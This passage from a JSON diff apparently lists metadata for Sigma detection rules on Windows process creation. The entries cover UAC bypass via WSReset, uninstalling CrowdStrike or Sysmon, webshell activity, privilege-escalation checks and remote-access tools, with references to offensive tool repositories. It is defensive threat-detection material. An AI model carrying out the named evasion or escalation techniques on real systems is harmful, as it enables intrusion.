"https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_wmp.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ], + "creation_date": "2021/08/23", + "filename": "proc_creation_win_uac_bypass_wmp.yml", + "author": "Christian Burkard", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects use of WSReset.exe to bypass User Account Control (UAC). Adversaries use this technique to execute privileged processes.", + "uuid": "d797268e-28a9-49a7-b9a8-2f5039011c5c", + "value": "Bypass UAC via WSReset.exe", + "meta": { + "refs": [ + "https://eqllib.readthedocs.io/en/latest/analytics/532b5ed4-7930-11e9-8f5c-d46d6d62a49e.html", + "https://lolbas-project.github.io/lolbas/Binaries/Wsreset/", + "https://www.activecyber.us/activelabs/windows-uac-bypass", + "https://twitter.com/ReaQta/status/1222548288731217921", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_wsreset.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.defense_evasion", + "attack.t1548.002" + ], + "creation_date": "2019/10/24", + "filename": "proc_creation_win_uac_bypass_wsreset.yml", + "author": "E.M. Anhaus (originally from Atomic Blue Detections, Tony Lambert), oscd.community, Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown sub processes of Wsreset.exe" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the pattern of UAC Bypass via WSReset usable by default sysmon-config", + "uuid": "89a9a0e0-f61a-42e5-8957-b1479565a658", + "value": "UAC Bypass WSReset", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Wsreset/", + "https://github.com/hfiref0x/UACME", + "https://medium.com/falconforce/falconfriday-detecting-uac-bypasses-0xff16-86c2a9107abf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_wsreset_integrity_level.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ], + "creation_date": "2021/08/23", + "filename": "proc_creation_win_uac_bypass_wsreset_integrity_level.yml", + "author": "Christian Burkard", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n", + "uuid": "88656cec-6c3b-487c-82c0-f73ebb805503", + "value": "Use of UltraViewer Remote Access Software", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ultraviewer.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1219" + ], + "creation_date": "2022/09/25", + "filename": "proc_creation_win_ultraviewer.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate use" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "An adversary may use legitimate desktop support and remote access software,to establish an interactive command and control channel to target systems within networks", + "uuid": "145322e4-0fd3-486b-81ca-9addc75736d8", + "value": "Use of UltraVNC Remote Access Software", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/9e5b12c4912c07562aec7500447b11fa3e17e254/atomics/T1219/T1219.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ultravnc.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1219" + ], + "creation_date": "2022/10/02", + "filename": "proc_creation_win_ultravnc.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate use" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may disable security tools to avoid possible detection of their tools and activities by uninstalling Crowdstrike Falcon", + "uuid": "f0f7be61-9cf5-43be-9836-99d6ef448a18", + "value": "Uninstall Crowdstrike Falcon", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uninstall_crowdstrike_falcon.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2021/07/12", + "filename": "proc_creation_win_uninstall_crowdstrike_falcon.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Uninstall by admin" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the uninstallation of Sysinternals Sysmon, which could be the result of legitimate administration or a manipulation for defense evasion", + "uuid": "6a5f68d1-c4b5-46b9-94ee-5324892ea939", + "value": "Uninstall Sysinternals Sysmon", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md#atomic-test-11---uninstall-sysmon", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uninstall_sysmon.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2022/01/12", + "filename": "proc_creation_win_uninstall_sysmon.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects an unexpected process spawning from dns.exe which may indicate activity related to remote code execution or other forms of exploitation as seen in CVE-2020-1350 (SigRed)", + "uuid": "a4e3d776-f12e-42c2-8510-9e6ed1f43ec3", + "value": "Unusual Child Porcess of dns.exe", + "meta": { + "refs": [ + "https://www.elastic.co/guide/en/security/current/unusual-child-process-of-dns.exe.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_unusual_child_process_of_dns_exe.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1133" + ], + "creation_date": "2022/09/27", + "filename": "proc_creation_win_unusual_child_process_of_dns_exe.yml", + "author": "Tim Rauch", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious parent process for cmd.exe", + "uuid": "4b991083-3d0e-44ce-8fc4-b254025d8d4b", + "value": "Unusual Parent Process for cmd.exe", + "meta": { + "refs": [ + "https://www.elastic.co/guide/en/security/current/unusual-parent-process-for-cmd.exe.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_unusual_parent_for_cmd.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059" + ], + "creation_date": "2022/09/21", + "filename": "proc_creation_win_unusual_parent_for_cmd.yml", + "author": "Tim Rauch", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of the Get-ADUser cmdlet to collect user information and output it to a file", + "uuid": "c2993223-6da8-4b1a-88ee-668b8bf315e9", + "value": "User Discovery And Export Via Get-ADUser Cmdlet", + "meta": { + "refs": [ + "http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", + "https://www.microsoft.com/en-us/security/blog/2022/10/18/defenders-beware-a-case-for-post-ransomware-investigations/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_user_discovery_get_aduser.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1033" + ], + "creation_date": "2022/09/09", + "filename": "proc_creation_win_user_discovery_get_aduser.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate admin scripts may use the same technique, it's better to exclude specific computers or users who execute these commands or scripts often" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detection of sc.exe utility spawning by user with Medium integrity level to change service ImagePath or FailureCommand", + "uuid": "d937b75f-a665-4480-88a5-2f20e9f9b22a", + "value": "Possible Privilege Escalation via Weak Service Permissions", + "meta": { + "refs": [ + "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment", + "https://pentestlab.blog/2017/03/30/weak-service-permissions/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_using_sc_to_change_sevice_image_path_by_non_admin.yml" + ], + "tags": [ + "attack.persistence", + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1574.011" + ], + "creation_date": "2019/10/26", + "filename": "proc_creation_win_using_sc_to_change_sevice_image_path_by_non_admin.yml", + "author": "Teymur Kheirkhabarov", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detection of sc.exe utility adding a new service with special permission which hides that service.", + "uuid": "a537cfc3-4297-4789-92b5-345bfd845ad0", + "value": "Abuse of Service Permissions to Hide Services in Tools", + "meta": { + "refs": [ + "https://blog.talosintelligence.com/2021/10/threat-hunting-in-large-datasets-by.html", + "https://www.sans.org/blog/red-team-tactics-hiding-windows-services/", + "https://twitter.com/Alh4zr3d/status/1580925761996828672", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_using_sc_to_hide_sevices.yml" + ], + "tags": [ + "attack.persistence", + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1574.011" + ], + "creation_date": "2021/12/20", + "filename": "proc_creation_win_using_sc_to_hide_sevices.yml", + "author": "Andreas Hunkeler (@Karneades)", + "level": "high", + "falsepositive": [ + "Rare intended use of hidden services" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects using SettingSyncHost.exe to run hijacked binary", + "uuid": "b2ddd389-f676-4ac4-845a-e00781a48e5f", + "value": "Using SettingSyncHost.exe as LOLBin", + "meta": { + "refs": [ + "https://www.hexacorn.com/blog/2020/02/02/settingsynchost-exe-as-a-lolbin", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_using_settingsynchost_as_lolbin.yml" + ], + "tags": [ + "attack.execution", + "attack.defense_evasion", + "attack.t1574.008" + ], + "creation_date": "2020/02/05", + "filename": "proc_creation_win_using_settingsynchost_as_lolbin.yml", + "author": "Anton Kutepov, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of the \"Set-Service\" powershell cmdlet to configure a new SecurityDescriptor that allows a service to be hidden from other utilities such as \"sc.exe\", \"Get-Service\"...etc. (Works only in powershell 7)", + "uuid": "514e4c3a-c77d-4cde-a00f-046425e2301e", + "value": "Abuse of Service Permissions to Hide Services Via Set-Service", + "meta": { + "refs": [ + "https://twitter.com/Alh4zr3d/status/1580925761996828672", + "https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/set-service?view=powershell-7.2", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_using_set_service_to_hide_services.yml" + ], + "tags": [ + "attack.persistence", + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1574.011" + ], + "creation_date": "2022/10/17", + "filename": "proc_creation_win_using_set_service_to_hide_services.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Rare intended use of hidden services" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects when verclsid.exe is used to run COM object via GUID", + "uuid": "d06be4b9-8045-428b-a567-740a26d9db25", + "value": "Verclsid.exe Runs COM Object", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Verclsid/", + "https://gist.github.com/NickTyrer/0598b60112eaafe6d07789f7964290d5", + "https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_verclsid_runs_com.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2020/10/09", + "filename": "proc_creation_win_verclsid_runs_com.yml", + "author": "Victor Sergeev, oscd.community", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious child process creations of VMware Tools process which may indicate persistence setup", + "uuid": "5687f942-867b-4578-ade7-1e341c46e99a", + "value": "VMToolsd Suspicious Child Process", + "meta": { + "refs": [ + "https://bohops.com/2021/10/08/analyzing-and-detecting-a-vmtools-persistence-technique/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_vmtoolsd_susp_child_process.yml" + ], + "tags": [ + "attack.execution", + "attack.persistence", + "attack.t1059" + ], + "creation_date": "2021/10/08", + "filename": "proc_creation_win_vmtoolsd_susp_child_process.yml", + "author": "behops, Bhabesh Raj", + "level": "high", + "falsepositive": [ + "Legitimate use by administrator" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a JAVA process running with remote debugging allowing more than just localhost to connect", + "uuid": "8f88e3f6-2a49-48f5-a5c4-2f7eedf78710", + "value": "Java Running with Remote Debugging", + "meta": { + "refs": [ + "https://dzone.com/articles/remote-debugging-java-applications-with-jdwp", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_vul_java_remote_debugging.yml" + ], + "tags": [ + "attack.t1203", + "attack.execution" + ], + "creation_date": "2019/01/16", + "filename": "proc_creation_win_vul_java_remote_debugging.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "When configured with suitable command line arguments, w32tm can act as a delay mechanism", + "uuid": "6da2c9f5-7c53-401b-aacb-92c040ce1215", + "value": "Use of W32tm as Timer", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/d0dad62dbcae9c60c519368e82c196a3db577055/atomics/T1124/T1124.md", + "https://blogs.blackberry.com/en/2022/05/dirty-deeds-done-dirt-cheap-russian-rat-offers-backdoor-bargains", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_w32tm.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1124" + ], + "creation_date": "2022/09/25", + "filename": "proc_creation_win_w32tm.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Legitimate use" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects execution of wab.exe (Windows Contacts) and Wabmig.exe (Microsoft Address Book Import Tool) from non default locations as seen with bumblebee activity", + "uuid": "395907ee-96e5-4666-af2e-2ca91688e151", + "value": "Wab Execution From Non Default Location", + "meta": { + "refs": [ + "https://thedfirreport.com/2022/08/08/bumblebee-roasts-its-way-to-domain-admin/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bumblebee-loader-cybercrime", + "https://thedfirreport.com/2022/09/26/bumblebee-round-two/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wab_execution_from_non_default_location.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.execution" + ], + "creation_date": "2022/08/12", + "filename": "proc_creation_win_wab_execution_from_non_default_location.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects unusual parent or children of the wab.exe (Windows Contacts) and Wabmig.exe (Microsoft Address Book Import Tool) processes as seen being used with bumblebee activity", + "uuid": "63d1ccc0-2a43-4f4b-9289-361b308991ff", + "value": "Wab/Wabmig Unusual Parent Or Child Processes", + "meta": { + "refs": [ + "https://thedfirreport.com/2022/08/08/bumblebee-roasts-its-way-to-domain-admin/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bumblebee-loader-cybercrime", + "https://thedfirreport.com/2022/09/26/bumblebee-round-two/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wab_unusual_parents.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.execution" + ], + "creation_date": "2022/08/12", + "filename": "proc_creation_win_wab_unusual_parents.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects weak passwords or often abused passwords (seen used by threat actors) via the CLI. An example would be a threat actor creating a new user via the net command and providing the password inline", + "uuid": "91edcfb1-2529-4ac2-9ecc-7617f895c7e4", + "value": "Weak or Abused Passwords In CLI", + "meta": { + "refs": [ + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/espionage-asia-governments", + "https://thedfirreport.com/2022/09/26/bumblebee-round-two/", + "https://www.microsoft.com/en-us/security/blog/2022/10/25/dev-0832-vice-society-opportunistic-ransomware-campaigns-impacting-us-education-sector/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_weak_or_abused_passwords.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.execution" + ], + "creation_date": "2022/09/14", + "filename": "proc_creation_win_weak_or_abused_passwords.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate usage of the passwords by users via commandline (should be discouraged)", + "Other currently unknown false positives" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detect use of WebBrowserPassView.exe", + "uuid": "d0dae994-26c6-4d2d-83b5-b3c8b79ae513", + "value": "Launch WebBrowserPassView Executable", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1555.003/T1555.003.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_webbrowserpassview.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1555.003" + ], + "creation_date": "2022/08/20", + "filename": "proc_creation_win_webbrowserpassview.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate use" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects patterns found in process executions cause by China Chopper like tiny (ASPX) webshells", + "uuid": "fa3c117a-bc0d-416e-a31b-0c0e80653efb", + "value": "Chopper Webshell Process Pattern", + "meta": { + "refs": [ + "https://www.microsoft.com/security/blog/2022/09/30/analyzing-attacks-using-the-exchange-vulnerabilities-cve-2022-41040-and-cve-2022-41082/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_webshell_chopper.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1505.003", + "attack.t1018", + "attack.t1033", + "attack.t1087" + ], + "creation_date": "2022/10/01", + "filename": "proc_creation_win_webshell_chopper.yml", + "author": "Florian Roth (rule), MSTI (query)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects certain command line parameters often used during reconnaissance activity via web shells", + "uuid": "bed2a484-9348-4143-8a8a-b801c979301c", + "value": "Webshell Detection With Command Line Keywords", + "meta": { + "refs": [ + "https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-ii.html", + "https://unit42.paloaltonetworks.com/bumblebee-webshell-xhunt-campaign/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_webshell_detection.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1505.003", + "attack.t1018", + "attack.t1033", + "attack.t1087" + ], + "creation_date": "2017/01/01", + "filename": "proc_creation_win_webshell_detection.yml", + "author": "Florian Roth, Jonhnathan Ribeiro, Anton Kutepov, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects certain parent child patterns found in cases in which a webshell is used to perform certain credential dumping or exfiltration activities on a compromised system", + "uuid": "4ebc877f-4612-45cb-b3a5-8e3834db36c9", + "value": "Webshell Hacking Activity Patterns", + "meta": { + "refs": [ + "https://youtu.be/7aemGhaE9ds?t=641", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_webshell_hacking.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1505.003", + "attack.t1018", + "attack.t1033", + "attack.t1087" + ], + "creation_date": "2022/03/17", + "filename": "proc_creation_win_webshell_hacking.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects processes spawned from web servers (php, tomcat, iis...etc) that perform reconnaissance looking for the existence of popular scripting tools (perl, python, wget) on the system via the help commands", + "uuid": "f64e5c19-879c-4bae-b471-6d84c8339677", + "value": "Webshell Recon Detection Via CommandLine & Processes", + "meta": { + "refs": [ + "https://ragged-lab.blogspot.com/2020/07/webshells-automating-reconnaissance.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_webshell_recon_detection.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1505.003" + ], + "creation_date": "2020/07/22", + "filename": "proc_creation_win_webshell_recon_detection.yml", + "author": "Cian Heasley, Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects web servers that spawn shell processes which could be the result of a successfully placed web shell or another attack", + "uuid": "8202070f-edeb-4d31-a010-a26c72ac5600", + "value": "Shells Spawned by Web Servers", + "meta": { + "refs": [ + "https://media.defense.gov/2020/Jun/09/2002313081/-1/-1/0/CSI-DETECT-AND-PREVENT-WEB-SHELL-MALWARE-20200422.PDF", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_webshell_spawn.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1505.003", + "attack.t1190" + ], + "creation_date": "2019/01/16", + "filename": "proc_creation_win_webshell_spawn.yml", + "author": "Thomas Patzke, Florian Roth, Zach Stanford @svch0st, Tim Shelton, Nasreddine Bencherchali (update)", + "level": "high", + "falsepositive": [ + "Particular web applications may spawn a shell process legitimately" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of the wevtutil utility to perform reconnaissance", + "uuid": "beaa66d6-aa1b-4e3c-80f5-e0145369bfaf", + "value": "Wevtutil Recon", + "meta": { + "refs": [ + "http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wevtutil_recon.yml" + ], + "tags": [ + "attack.discovery" + ], + "creation_date": "2022/09/09", + "filename": "proc_creation_win_wevtutil_recon.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitmate usage of the utility by administrators to query the event log" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a whoami.exe executed by privileged accounts that are often misused by threat actors", + "uuid": "79ce34ca-af29-4d0e-b832-fc1b377020db", + "value": "Run Whoami as Privileged User", + "meta": { + "refs": [ + "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment", + "https://nsudo.m2team.org/en-us/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_whoami_as_priv_user.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.discovery", + "attack.t1033" + ], + "creation_date": "2022/01/28", + "filename": "proc_creation_win_whoami_as_priv_user.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a whoami.exe executed by LOCAL SYSTEM. This may be a sign of a successful local privilege escalation.", + "uuid": "80167ada-7a12-41ed-b8e9-aa47195c66a1", + "value": "Run Whoami as SYSTEM", + "meta": { + "refs": [ + "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_whoami_as_system.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.discovery", + "attack.t1033" + ], + "creation_date": "2019/10/23", + "filename": "proc_creation_win_whoami_as_system.yml", + "author": "Teymur Kheirkhabarov, Florian Roth", + "level": "high", + "falsepositive": [ + "Possible name overlap with NT AUHTORITY substring to cover all languages" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a whoami.exe executed with the /priv command line flag instructing the tool to show all current user privieleges. This is often used after a privilege escalation attempt.", + "uuid": "97a80ec7-0e2f-4d05-9ef4-65760e634f6b", + "value": "Run Whoami Showing Privileges", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/whoami", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_whoami_priv.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.discovery", + "attack.t1033" + ], + "creation_date": "2021/05/05", + "filename": "proc_creation_win_whoami_priv.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Administrative activity (rare lookups on current privileges)" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Task Scheduler .job import arbitrary DACL write\\par", + "uuid": "931b6802-d6a6-4267-9ffa-526f57f22aaf", + "value": "Windows 10 Scheduled Task SandboxEscaper 0-day", + "meta": { + "refs": [ + "https://github.com/SandboxEscaper/polarbearrepo/tree/master/bearlpe", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_win10_sched_task_0day.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1053.005", + "car.2013-08-001" + ], + "creation_date": "2019/05/22", + "filename": "proc_creation_win_win10_sched_task_0day.yml", + "author": "Olaf Hartong", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious children spawned via the Windows Terminal application which could be a sign of persistence via WindowsTerminal (see references section)", + "uuid": "8de89e52-f6e1-4b5b-afd1-41ecfa300d48", + "value": "Suspicious WindowsTerminal Child Processes", + "meta": { + "refs": [ + "https://persistence-info.github.io/Data/windowsterminalprofile.html", + "https://twitter.com/nas_bench/status/1550836225652686848", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_windows_terminal_susp_children.yml" + ], + "tags": [ + "attack.execution", + "attack.persistence" + ], + "creation_date": "2022/07/25", + "filename": "proc_creation_win_windows_terminal_susp_children.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Other legitimate \"Windows Terminal\" profiles" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "WinPEAS is a script that search for possible paths to escalate privileges on Windows hosts. The checks are explained on book.hacktricks.xyz", + "uuid": "98b53e78-ebaf-46f8-be06-421aafd176d9", + "value": "Detect Execution of winPEAS", + "meta": { + "refs": [ + "https://github.com/carlospolop/PEASS-ng", + "https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_winpeas_tool.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1082", + "attack.t1087", + "attack.t1046" + ], + "creation_date": "2022/09/19", + "filename": "proc_creation_win_winpeas_tool.yml", + "author": "Georg Lauenstein", + "level": "high", + "falsepositive": [ + "Other programs that use the same command line flags" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the Installation of a Exchange Transport Agent", + "uuid": "83809e84-4475-4b69-bc3e-4aad8568612f", + "value": "MSExchange Transport Agent Installation", + "meta": { + "refs": [ + "https://twitter.com/blueteamsec1/status/1401290874202382336?s=20", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_win_exchange_transportagent.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1505.002" + ], + "creation_date": "2021/06/08", + "filename": "proc_creation_win_win_exchange_transportagent.yml", + "author": "Tobias Michalski", + "level": "medium", + "falsepositive": [ + "Legitimate installations of exchange TransportAgents. AssemblyPath is a good indicator for this." + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects execution of wmic utility with the \"computersystem\" flag in order to obtain information about the machine such as the domain, username, model...etc.", + "uuid": "9d7ca793-f6bd-471c-8d0f-11e68b2f0d2f", + "value": "Suspicious Get Local Groups Information with WMIC", + "meta": { + "refs": [ + "https://www.microsoft.com/security/blog/2022/09/07/profiling-dev-0270-phosphorus-ransomware-operations/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_computersystem_recon.yml" + ], + "tags": [ + "attack.discovery", + "attack.execution", + "attack.t1047" + ], + "creation_date": "2022/09/08", + "filename": "proc_creation_win_wmic_computersystem_recon.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may attempt to find local system groups and permission settings.\nThe knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group.\nAdversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group.\n", + "uuid": "164eda96-11b2-430b-85ff-6a265c15bf32", + "value": "Suspicious Get Local Groups Information with WMIC", + "meta": { + "refs": [ + 